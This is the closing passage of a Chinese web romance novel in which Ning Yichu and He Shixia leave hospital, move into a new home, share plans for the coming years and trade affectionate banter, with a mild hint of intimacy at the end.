宁衣初笑了下。 贺维安五人也就没再在病房里逗留,免得妨碍了他们休养,以及打情骂俏。 等他们都离开之后,宁衣初又若有所思道:“上辈子害了你和孩子的也都是宁则书的暗恋者,但那两个暗恋者按时间现在都还没和宁则书认识呢,所以我之前也确实疏忽了这方面的潜在危险,没想到还有个我不知道的方南……你说,我是不是也染了点宁家人的傲慢?” “不。”贺适瑕毫不犹豫道,“以你过去的遭遇,重来一世,最开始手里就捏着那么多能把他们踩死的把柄,但你还能一步一步慢慢来,而不是不管不顾直接全撒出去,就已经是非常沉稳谨慎了,非常人所能及,要我的话才忍不了哪怕多一秒。宁家人的傲慢是狂妄自大和目中无人,你是千虑一失,完全不一样。” 宁衣初弯了下唇,慢悠悠起身,走到贺适瑕床边,然后俯下身看他,眼尾的红色小痣在他的笑意里若隐若现。 贺适瑕眨眨眼:“阿宁,你要亲我吗?” 宁衣初唔了声:“看在你嘴甜会哄我开心的份上……” 宁衣初亲了亲贺适瑕的唇。 贺适瑕只恨自己现在半身不遂。 …… 贺适瑕的身体素质底子很好,但这次受伤太严重,加上宁衣初希望他是完全养好了再出院,这样出院后他们马上就可以搬去新家,所以贺适瑕在医院里住了一个多月,十二月底的时候才痊愈出院。 倒也正好,可以在新旧交替的时间搬家,一个崭新的开始。 他们俩搬家的事,没让贺维安等人帮忙,也拒绝了文家宣家人送的乔迁礼物,没有邀请任何人参观新家。 挑了个冬日里难得风和日丽的时间,宁衣初和贺适瑕入住了新居。 贺适瑕在院内门口仪式性地挂了个行程木牌,然后写下他往后三年的安排——【陪阿宁,赚两个亿】。 宁衣初乐不可支,也说起自己新一年的打算:“我想想……我要挑一只宠物狗开始养,要给康宁组建一个靠谱的职业经理人团队,这样方便我当甩手掌柜,然后要考驾照,我还打算参加下半年的考研,重新读书。” 贺适瑕一边听,一边把宁衣初的计划也往木牌上写。 然后他放下专用的笔,搂着宁衣初的腰和他一起看着木牌:“阿宁真是个好孩子,坐拥亿万财富,但愿望是回学校读书,我很惭愧。” 宁衣初挑眉,去掐贺适瑕:“你笑话我呢?” 贺适瑕失笑着喊冤:“我认真的!我说正经话的时候这么不靠谱吗?我的人设好像不是这样的……阿宁,你手好冰,我们回屋里去吧。” 贺适瑕握着宁衣初的手揉了揉。 室内有暖气,进了门,两人脱了外套,贺适瑕又去牵宁衣初的手。 他摸到了宁衣初手腕上的疤痕,突发奇想地也把自己的左手腕露了出来——之前在医院里被捅伤那次,和凶手缠斗间他手腕被狠狠划了一道,如今也留下了疤痕。 “现在我们俩都左手腕和腹部有疤,”贺适瑕噙着笑说,“这算不算情侣疤痕呢,阿宁?” 宁衣初无言以对:“……我是不是该夸你很会苦中作乐?” 贺适瑕忍俊不禁,接着突然把宁衣初打横抱了起来:“想作乐的话,我陪你啊,正好乔迁新居应该热闹一点,我们一起来暖房吧。” 被贺适瑕放到床上后,宁衣初很确定,这人就是个文盲,暖房“通假”成了洞房—— 作者有话说:——正文完《 》